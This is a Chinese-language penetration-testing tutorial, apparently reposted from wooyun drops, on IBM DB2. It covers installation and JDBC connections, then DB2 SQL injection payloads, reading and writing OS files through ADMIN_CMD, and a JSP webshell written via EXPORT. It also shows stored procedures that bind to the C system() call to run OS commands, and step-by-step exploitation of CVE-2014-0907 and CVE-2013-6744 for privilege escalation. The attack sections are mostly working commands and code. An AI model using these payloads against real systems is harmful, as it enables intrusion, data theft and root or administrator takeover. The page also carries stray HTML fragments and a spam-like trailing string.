<dd id="sga4y"><optgroup id="sga4y"></optgroup></dd>
<nav id="sga4y"><code id="sga4y"></code></nav>
  • <optgroup id="sga4y"></optgroup>

    原文地址:http://drops.wooyun.org/tips/16673

    0x00 DB2簡介


    DB2是IBM公司推出關系型數據庫管理系統。

    現今DB2主要包含以下三個系列:

    IBM DB2定位于高端市場,廣泛應用于企業級應用中

    0x01 DB2的安裝


    以下兩小節分別介紹DB2在Linux和Windows平臺下的安裝,安裝的版本都為V9.5版本

    DB2在Linux下的安裝

    在Linux下DB2依賴compat-libstdc++庫,安裝DB2之前需要先行安裝該庫

    安裝上述庫完成后運行DB2安裝程序中的db2setup啟動圖形化安裝界面

    pic1

    DB2在安裝過程中會創建db2inst1、db2fenc1以及dasusr1三個用戶,此三個用戶會加入到系統中成為系統的用戶,也可以在安裝之前就創建

    pic2

    pic3

    pic4

    安裝完成后切換到db2inst1用戶,運行db2cc啟動圖形化控制中心(DB2從V10.1版本開始不再包含圖形化的控制中心,可使用命令行或IBM提供的Data Studio工具管理)

    pic5

    DB2在Windows下的安裝

    運行安裝程序中的setup.exe程序開始安裝,安裝過程中會創建db2admin用戶,并將該用戶添加到管理員組中

    安裝完成后啟動控制中心

    pic6

    0x02 DB2的使用


    DB2服務及端口

    DB2各項服務名稱及端口可使用以下方法查看:

    Linux:

    /etc/services 文件
    

    Windows:

    C:\Windows\System32\drivers\etc\services文件
    

    DB2默認監聽連接的端口為50000

    DB2的用戶

    DB2的所有用戶都是操作系統用戶,且用戶密碼也與操作系統中該用戶的密碼綁定。

    Linux下,安裝DB2會創建db2inst1,db2fenc1和dasusr1三個用戶。Windows下,會創建db2admin用戶并將其添加到管理員組。

    本地操作系統用戶并不全為DB2用戶,需要在DB2管理功能中添加操作系統用戶為數據庫用戶。

    本地管理DB2

    命令行方式

    本地管理DB2數據庫可以使用命令行或圖形化工具

    IBM DB2 Universal Database(UDB)命令行處理器(CLP)是用于訪問 DB2 函數的方便接口,CLP 接受來自 DB2 命令行的命令或 SQL 語句。

    在基于Linux 和 UNIX 的系統中,這個命令行是 DB2 實例的命令行。

    在Windows 操作系統中,它是啟用了CLP 命令窗口的命令行;在這種情況下,必須先(從普通命令窗口)運行 db2cmd 命令來啟動 DB2 命令行環境。

    Windows下的命令行:

    pic7

    Linux下的命令行:

    pic8

    命令行的詳細使用方法及語法可參考IBM官方文檔

    圖形界面方式

    可使用DB2的控制中心在本地使用圖形化方式管理DB2,如下:

    Windows:

    pic9

    Linux:

    pic10

    注:
    DB2從V10.1版本開始不再包含圖形化的控制中心,可IBM提供的DataStudio工具替換

    遠程管理DB2

    遠程管理DB2也有命令行和圖形化兩種方式,使用命令行方式需要安裝DB2客戶端,可在IBM官網上下載。

    遠程圖形化管理可以使用Quest Centor for DB2工具。使用該工具也需要安裝DB2客戶端。

    該工具使用方法如下:

    右鍵添加DB2服務器:

    pic11

    配置DB2服務器的地址和操作系統:

    pic12

    配置節點名稱,實例名稱和數據庫端口:

    pic13

    在實例上右鍵管理登錄配置登錄憑證:

    pic14

    pic15

    在實例上右鍵添加數據庫:

    pic16

    pic17

    添加后情況:

    pic18

    執行SQL語句:

    pic19

    在JAVA程序中連接DB2

    JAVA程序連接DB2有四種方式TYPE1、TYPE2、TYPE3、TYPE4,其中TYPE2和TYPE4應用較廣泛,四種方式的基本架構如下:

    TYPE1:

    pic20

    TYPE2:

    pic21

    TYPE3:

    pic22

    TYPE4:

    pic23

    下面介紹使用TYPE2和TYPE4方式連接DB2的方法

    使用TYPE2方式必須安裝DB2客戶端,在客戶端中添加相關數據庫并設置別名,可使用客戶端命令行或圖形化工具“配置助手”添加,如下圖

    pic24

    使用TYPE2類型有兩種方法:

    方法一:

    驅動程序位于db2jcc.jar包中,且在Windows下JDK必須可以訪問到db2jdbc.dll和db2jcct2.dll,db2jdbc.dll和db2jcct2.dll位于DB2客戶端程序SQLLIB/BIN目錄下

    連接代碼如下:

    #!java
    Class.forName("com.ibm.db2.jcc.DB2Driver").newInstance();       
    conn = DriverManager.getConnection("jdbc:db2:TESTDB2", "db2admin", "123456");
    

    其中jdbc:db2:TESTDB2中的TESTDB2即為之前在客戶端中添加的數據庫別名

    方法二:

    驅動程序位于db2java.zip包中,且在Windows下JDK必須可以訪問到db2jdbc.dll,db2jdbc.dll位于DB2客戶端程序SQLLIB/BIN目錄下

    連接代碼如下:

    #!java
    Driver driver=(Driver) Class.forName("COM.ibm.db2.jdbc.app.DB2Driver").newInstance(); 
    DriverManager.registerDriver(driver);
    conn = DriverManager.getConnection("jdbc:db2:TESTDB2", "db2admin", "123456");
    

    其中jdbc:db2:TESTDB2中的TESTDB2即為之前在客戶端中添加的數據庫別名

    注:db2java.zip在DB2 LUW 10.1中已停用,如要使用TYPE2方式建議使用db2jcc.jar驅動程序

    使用TYPE4方式連接DB2方法:

    驅動程序位于db2jcc.jar包中,使用此方法應用程序所在主機不需安裝任何其他程序

    連接代碼:

    #!java
    Class.forName(com.ibm.db2.jcc.DB2Driver).newInstance();
    conn =DriverManager.getConnection(jdbc:db2://192.168.60.144:50000/TESTDB2, db2admin, 123456);
    

    注:

    1. TYPE4需設置數據庫的編碼為utf-8否則報錯
    2. TYPE4還需要db2jcc_license_cu.jar

    上述驅動程序所在包db2jcc.jar、db2jcc_license_cu.jar、db2java.zip均可在DB2服務器安裝目錄下找到,例如在Windows版本V9.5中位于DB2安裝目錄下的SQLLIB/java目錄

    pic25

    db2jcc.jar與db2java.zip驅動程序在錯誤處理方面有所不同

    查詢在DB2服務器端出現錯誤時,db2java.zip驅動程序會將DB2服務器產生的錯誤信息原樣返回給應用程序,而db2jcc.jar驅動程序使用了自定義的錯誤信息。

    db2java.zip的錯誤信息:

    pic26

    db2jcc.jar的錯誤信息:

    pic27

    0x03 DB2 SQL注入相關問題


    獲取DB2數據庫信息的語句

    獲取數據庫版本:

    #!sql
    SELECT service_level FROM table(sysproc.env_get_inst_info()) as instanceinfo
    

    獲取當前用戶:

    #!sql
    SELECT user FROM sysibm.sysdummy1
    SELECT session_user FROM sysibm.sysdummy1
    SELECT system_user FROM sysibm.sysdummy1
    

    獲取數據庫的用戶:

    #!sql
    SELECT distinct(authid) FROM sysibmadm.privileges
    SELECT distinct(grantee) FROM sysibm.systabauth
    

    獲取數據庫表的權限:

    #!sql
    SELECT * FROM syscat.tabauth
    

    獲取當前用戶的權限:

    #!sql
    SELECT * FROM syscat.tabauth where grantee = current user
    

    列出數據庫的DBA賬戶:

    #!sql
    SELECT distinct(grantee) FROM sysibm.systabauth where CONTROLAUTH='Y'
    

    獲取當前數據庫:

    #!sql
    SELECT current server FROM sysibm.sysdummy1
    

    獲取當前數據庫中所有表:

    #!sql
    SELECT table_name FROM sysibm.tables
    SELECT name FROM sysibm.systables
    

    獲取當前數據庫中所有列:

    #!sql
    SELECT name, tbname, coltype FROM sysibm.syscolumns
    

    獲取數據庫所在主機相關信息:

    #!sql
    SELECT * FROM sysibmadm.env_sys_info
    

    DB2 SQL語句特性

    注釋符:

    DB2數據庫使用雙連字符--作為單行注釋,使用/**/作為多行注釋

    SELECT中獲得前N條記錄的SQL語法:

    #!sql
    SELECT * FROM sysibm.systables ORDER BY name ASC fetch first N rows only
    

    截取字符串:

    #!sql
    SELECT substr('abc',2,1) FROM sysibm.sysdummy1
    

    上述語句會得到字符b

    比特操作AND/OR/NOT/XOR

    #!sql
    SELECT bitand(1,0) FROM sysibm.sysdummy1
    

    上述語句會得到0

    字符與ASCII碼互相轉換:

    #!sql
    SELECT chr(65) FROM sysibm.sysdummy1
    

    上述語句會得到字符’A’

    #!sql
    SELECT ascii('A') FROM sysibm.sysdummy1
    

    上述語句會得到字符’A’的ASCII碼65

    類型轉換:

    #!sql
    SELECT cast('123' as integer) FROM sysibm.sysdummy1
    

    上述語句將字符串”123”轉為數據123

    #!sql
    SELECT cast(1 as char) FROM sysibm.sysdummy1
    

    上述語句將數字1轉為字符串”1”

    字符串連接:

    #!sql
    SELECT 'a' concat 'b' concat 'c' FROM sysibm.sysdummy1
    SELECT 'a' || 'b' || 'c' FROM sysibm.sysdummy1
    

    上述兩個語句都會返回字符串”abc”

    獲取長度:

    #!sql
    SELECT LENGTH(NAME) FROM SYSIBM.SYSCOLUMNS WHERE TBNAME='VOTE' ORDER BY NAME DESC FETCH FIRST 1 ROWS ONLY
    

    條件語句:

    #!sql
    SELECT CASE WHEN (1=1) THEN 'AAAAAAAAAA' ELSE 'BBBBBBBBBB' END FROM sysibm.sysdummy1
    

    上述語句將返回字符串'AAAAAAAAAA'

    時間延遲:

    #!sql
    and (SELECT count(*) FROM sysibm.columns t1, sysibm.columns t2, sysibm.columns t3)>0 and (SELECT ascii(substr(user,1,1)) FROM sysibm.sysdummy1)=68
    

    上述語句若user的第一個字符的ASCII碼為68將造成延時

    UNION操作符:

    DB2支持在SELECT語句中使用UNION操作符,UNION的各列必須類型相同才不會報錯。

    且不能直接使用SELECT … FROM … UNION SELECT NULL, NULL … FROM …的方法。DB2在SELECT中使用NULL需要指定類型,如下:

    #!sql
    select ... cast(NULL as int) as column_A, cast(NULL as varchar(128)) as column_B, ... FROM ...
    

    多語句查詢:

    DB2不支持形如statement1; statement2形式的多語句查詢

    DB2的SQL注入方法

    對DB2進行SQL注入通用的方法是使用盲注,利用上兩個小結的內容通過盲注獲取數據庫信息。

    由于DB2的UNION操作符限制較多,因此利用UNION注入很多時候不會成功。由于DB2不支持多語句查詢,因此無法通過多語句查詢方法注入并調用存儲過程。

    另外,可利用數據庫的報錯信息通過SQL注入獲取部分敏感信息,如下:

    先使用通用的orderby方法猜出列數

    在查詢的條件后附加group by 1--會顯示本次查詢的表中的第一列列名ID,之后將條件改為group by ID--得到第二列的列名NAME,依次增加group by后的列名,如group by ID, NAME,將枚舉當前表中的所有列

    pic28

    pic29

    DB2的SQL注入工具

    經測試針對DB2的SQL注入工具中sqlmap相對具有可用性,部分截圖如下:

    pic30

    pic31

    pic32

    但經測試其仍然存在一些問題,如獲取列信息不全、盲注功能不好用等

    0x04 利用DB2讀寫操作系統文件


    在滲透測試中可以使用DB2讀寫系統文件,達到獲取敏感信息、寫webshell等目的。

    本節所描述方法在DB2 V9.5 Windows, Linux下測試成功

    利用DB2讀操作系統文件

    DB2使用IMPORT命令從文件中讀取內容并插入到數據庫表中,使用方法:

    #!sql
    IMPORT FROM C:\Windows\win.ini OF DEL INSERT INTO CONTENT
    

    上述命令運行后即可將C:\Windows\win.ini的內容插入到表CONTENT中

    DB2的ADMIN_CMD存儲過程用于執行DB2命令行(CLP)命令,其schema為SYSPROC,從8.2.2版本開始引入 該存儲過程語法:

    #!sql
    ADMIN_CMD('command_string')
    

    參數command_string為要運行的命令

    調用存儲過程使用CALL語句,語法:

    #!sql
    CALL ADMIN_CMD('command_string')
    

    調用ADMIN_CMD存儲過程執行IMPORT命令將文件讀入數據庫表方法:

    #!sql
    CALL ADMIN_CMD('IMPORT FROM C:\Windows\win.ini OF DEL INSERT INTO CONTENT');
    

    運行該存儲過程的結果:

    pic33

    pic34

    pic35

    遠程連接數據庫的用戶可以通過調用ADMIN_CMD存儲過程讀取操作系統文件,經測試(DB2 V9.5)數據庫普通用戶默認具有調用ADMIN_CMD存儲過程的權限,遠程連接數據庫的用戶可以首先創建一個表(或對已存在的IMPORT命令涉及的表有INSERT和SELECT權限),然后調用ADMIN_CMD存儲過程運行IMPORT命令將文件讀入創建的表中。如下:

    遠程連接數據庫并調用ADMIN_CMD存儲過程運行IMPORT命令:

    pic36

    pic37

    讀取的文件信息:

    pic38

    利用DB2向操作系統寫文件

    DB2的EXPORT命令用于將數據庫中的內容導入到文件中,使用語法如下:

    #!sql
    EXPORT TO result.csv OF DEL MODIFIED BY NOCHARDEL SELECT col1, col2, coln FROM testtable;
    

    使用上一小節提到的ADMIN_CMD存儲過程運行該命令方法:

    #!sql
    CALL SYSPROC.ADMIN_CMD ('EXPORT TO C:\RESULT.TXT OF DEL MODIFIED BY NOCHARDEL SELECT * FROM VOTENAME');
    

    調用過程和結果:

    pic39

    pic40

    遠程連接數據庫的用戶可以先創建一個表(或對EXPORT命令涉及的表具有SELECT權限),然后調用ADMIN_CMD存儲過程執行EXPORT命令向操作系統寫文件

    向操作系統寫入包含某些字符串的文件語法如下:

    #!sql
    CALL SYSPROC.ADMIN_CMD ('EXPORT TO C:\RESULT.TXT OF DEL MODIFIED BY NOCHARDEL SELECT ''My Content'' FROM VOTENAME FETCH FIRST 1 ROWS ONLY');
    

    遠程調用結果:

    pic41

    pic42

    利用該方法寫webshell語法:

    #!sql
    CALL SYSPROC.ADMIN_CMD ('EXPORT TO C:\RESULT.jsp OF DEL MODIFIED BY NOCHARDEL SELECT ''<%if(request.getParameter("f")!=null){(new java.io.FileOutputStream(application.getRealPath("/")+request.getParameter("f"))).write(request.getParameter("c").getBytes());response.getWriter().print("[OK]");}%>'' FROM VOTENAME FETCH FIRST 1 ROWS ONLY');
    

    遠程調用結果:

    pic43

    pic44

    pic45

    注:
    通過EXPORT向文件寫入自定義字符串內容時SELECT的表中必須至少有一條記錄否則寫入內容為空

    0x05 利用DB2執行操作系統命令


    可利用DB2存儲過程執行操作系統命令。遠程連接數據庫的用戶需要具有創建存儲過程的權限,連接數據庫后創建一個可以執行操作系統命令的存儲過程并調用。

    創建此種存儲過程并調用的語法如下:

    Windows:

    #!sql
    CREATE PROCEDURE db2_cmd_exec (IN cmd varchar(200))
    EXTERNAL NAME 'c:\windows\system32\msvcrt!system' 
    LANGUAGE C 
    DETERMINISTIC 
    PARAMETER STYLE DB2SQL
    
    CALL db2_cmd_exec ('whoami /all > C:\whoami.log')
    

    Linux:

    #!sql
    CREATE PROCEDURE db2_cmd_exec (IN cmd varchar(200))
    EXTERNAL NAME '/usr/lib/libstdc++.so.6!system' 
    LANGUAGE C 
    DETERMINISTIC 
    PARAMETER STYLE DB2SQL
    
    call db2_cmd_exec ('whoami > /tmp/whoami.log')
    

    運行結果:

    pic46

    pic47

    pic48

    pic49

    注:

    創建的存儲過程默認為FENCED(受保護的),例如對于Linux下DB2的,使用db2inst1用戶連接數據庫創建并運行上述存儲,DB2服務器端實際是以db2fenc1用戶運行該存儲過程的。

    FENCED存儲過程單獨啟用一個新的地址空間,而UNFENCED存儲過程和調用它的進程使用用一個地址空間,一般來說FENCED存儲過程比較安全。

    若要創建NOTFENCED的存儲過程(需要具有SYSADM特權、DBADM 特權或一個特殊的特權(CREATE_NOT_FENCED)),需要在創建存儲過程中指定,如下

    #!sql
    CREATE PROCEDURE db2_cmd_exec (IN cmd varchar(200))
    EXTERNAL NAME '/usr/lib/libstdc++.so.6!system' 
    LANGUAGE C 
    DETERMINISTIC 
    PARAMETER STYLE DB2SQL
    NOT FENCED
    

    0x06 利用DB2提權


    本節介紹兩個DB2提權漏洞原理及利用方法

    CVE-2014-0907

    CVE-2014-0907是一個DB2本地提權漏洞,受影響版本為AIX, Linux, HP-UX以及Solaris上的DB2 V9.5(FP9之前的V9.5不受影響), V9.7, V10.1, V10.5版本

    CVE-2014-0907漏洞允許一個本地普通用戶獲取到root權限

    DB2的db2iclean程序會在當前目錄下搜索libdb2ure2.so.1庫文件,下圖為執行該程序時對庫文件的訪問情況,可見DB2對于libdb2ure2.so.1庫文件的搜索在當前目錄先于DB2安裝目錄

    #!sql
    strace -o /tmp/db2iclean.log  /home/db2inst1/sqllib/adm/db2iclean
    

    pic50

    如果當前目錄下有惡意用戶寫入的同名庫文件,則DB2程序會加載該文件并執行其中的代碼。由于db2iclean命令是SUID root權限,因此惡意代碼會以root權限被運行。

    pic51

    如將下列代碼編譯為庫文件并放在當前目錄下:

    #!cpp
    // libdb2ure2.cpp
    #include <stdlib.h>
    int iGetHostName(char* n, int i)
    {
        system("id > /m.log");
    }
    
    $ gcc -shared -o libdb2ure2.so.1 libdb2ure2.cpp
    

    使用db2iadm1組的普通用戶運行db2iclean程序:

    #!sql
    <DB2_instance_install_directory>/adm/db2iclean
    

    可見此時euid為0,代碼以root權限運行

    pic52

    注意:由于db2iclean不是公開執行權限,所以攻擊者需要使用db2iadm1組用戶執行,或誘使該組成員在攻擊者寫入了惡意庫文件的目錄下執行該程序。

    CVE-2013-6744

    CVE-2013-6744是DB2在windows平臺下的提權漏洞,利用該漏洞將使windows普通用戶獲取到Administrator權限

    存在漏洞的DB2版本:

    利用該漏洞需要有一個可以連接DB2數據庫的用戶,且該用戶具有創建外部例程的權限(CREATE_EXTERNAL_ROUTINE)

    該漏洞原理為:在Windows平臺特權帳戶默認情況下,DB2服務運行時并不受訪問控制檢查,這意味著可以通過CREATE_EXTERNAL_ROUTINE權限創建一個庫文件并且形成調用,從而權限得以提升。

    漏洞利用步驟:

    1.使用具有CREATE_EXTERNAL_ROUTINE權限的用戶運行以下DDL,利用C runtime system來創建一個存儲過程:

    #!sql
    CREATE PROCEDURE db2_exec (IN cmd varchar(1024)) EXTERNAL NAME 'msvcrt!system' LANGUAGE C DETERMINISTIC PARAMETER STYLE DB2SQL
    

    2.調用剛才創建的存儲過程:

    #!sql
    CALL db2_exec('whoami /all > C:\whoami.log')
    

    查看命令創建的whoami.log文件,發現包含了db2admin信息。這意味著,我們用一個非管理員賬戶成功用管理員權限執行了命令。

    0x07 參考


    97av